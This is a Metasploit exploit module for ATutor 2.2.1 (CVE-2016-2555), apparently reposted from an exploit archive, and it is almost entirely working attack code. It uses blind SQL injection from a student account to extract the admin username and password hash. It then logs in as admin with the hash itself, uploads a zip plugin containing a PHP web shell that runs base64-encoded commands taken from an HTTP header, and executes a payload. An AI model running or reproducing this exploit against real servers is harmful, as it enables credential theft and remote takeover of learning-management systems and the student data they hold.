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ATutor 2.2.1 SQL Injection / Remote Code Execution

Posted on 01 March 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
'Description' => %q{
This module exploits a SQL Injection vulnerability and an authentication weakness
vulnerability in ATutor. This essentially means an attacker can bypass authenication
and reach the administrators interface where they can upload malcious code.

You are required to login to the target to reach the SQL Injection, however this
can be done as a student account and remote registration is enabled by default.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
],
'References' =>
[
[ 'CVE', '2016-2555' ],
[ 'URL', 'http://www.atutor.ca/' ] # Official Website
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mar 1 2016',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
],self.class)
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def print_good(msg='')
super("#{peer} - #{msg}")
end

def check
# the only way to test if the target is vuln
begin
test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end

if test_injection(test_cookie)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def create_zip_file
zip_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@payload_name = Rex::Text.rand_text_alpha_lower(4)
@plugin_name = Rex::Text.rand_text_alpha_lower(3)

path = "#{@plugin_name}/#{@payload_name}.php"
register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")

zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.pack
end

def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}
"
})
end

def upload_shell(cookie)
post_data = Rex::MIME::Message.new
post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name="modulefile"; filename="#{@plugin_name}.zip"")
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name="install_upload"")
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'agent' => 'Mozilla'
})

if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla',
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
'cookie' => cookie,
'agent' => 'Mozilla',
})
return true
end
end

# auth failed if we land here, bail
fail_with(Failure::Unknown, "Unable to upload php code")
return false
end

def get_hashed_password(token, password, bypass)
if bypass
return Rex::Text.sha1(password + token)
else
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
end
end

def login(username, password, bypass)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "login.php"),
'agent' => 'Mozilla',
})

token = $1 if res.body =~ /) + "(.*)");/
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
if bypass
password = get_hashed_password(token, password, true)
else
password = get_hashed_password(token, password, false)
end

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => password,
'form_login' => username,
'submit' => 'Login'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/

# this is what happens when no state is maintained by the http client
if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
return cookie
end
else res.redirection.to_s.include?('admin/index.php')
# if we made it here, we are admin
return cookie
end
end

# auth failed if we land here, bail
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
return nil
end

def perform_request(sqli, cookie)
# the search requires a minimum of 3 chars
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
rand_key = Rex::Text.rand_text_alpha(1)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),
'vars_post' => {
"search_friends_#{rand_key}" => sqli,
'rand_key' => rand_key,
'search' => 'Search People'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
return res.body
end

def dump_the_hash(cookie)
extracted_hash = ""
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i
for i in 1..login_and_hash_length
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
asciival = generate_sql_and_test(false, false, sqli, cookie)
if asciival >= 0
extracted_hash << asciival.chr
end
end
return extracted_hash.split(":")
end

def get_ascii_value(sql, cookie)
lower = 0
upper = 126
while lower < upper
mid = (lower + upper) / 2
sqli = "#{sql}>#{mid}"
result = perform_request(sqli, cookie)
if result =~ /There are d entries./
lower = mid + 1
else
upper = mid
end
end
if lower > 0 and lower < 126
value = lower
else
sqli = "#{sql}=#{lower}"
result = perform_request(sqli, cookie)
if result =~ /There are d entries./
value = lower
end
end
return value
end

def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)
if do_test
if do_true
result = perform_request("1=1", cookie)
if result =~ /There are d entries./
return true
end
else not do_true
result = perform_request("1=2", cookie)
if not result =~ /There are d entries./
return true
end
end
elsif not do_test and sql
return get_ascii_value(sql, cookie)
end
end

def test_injection(cookie)
if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)
if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)
return true
end
end
return false
end

def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)

create_credential_login(login_data)
end

def exploit
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])

print_status("Dumping username and password hash...")
# we got admin hash now
credz = dump_the_hash(student_cookie)
print_good("Got the #{credz[0]} hash: #{credz[1]} !")
if credz
admin_cookie = login(credz[0], credz[1], true)
print_status("Logged in as #{credz[0]}, uploading shell...")
# install a plugin
if upload_shell(admin_cookie)
print_good("Shell upload successful!")
# boom
exec_code
end
end
end
end

 

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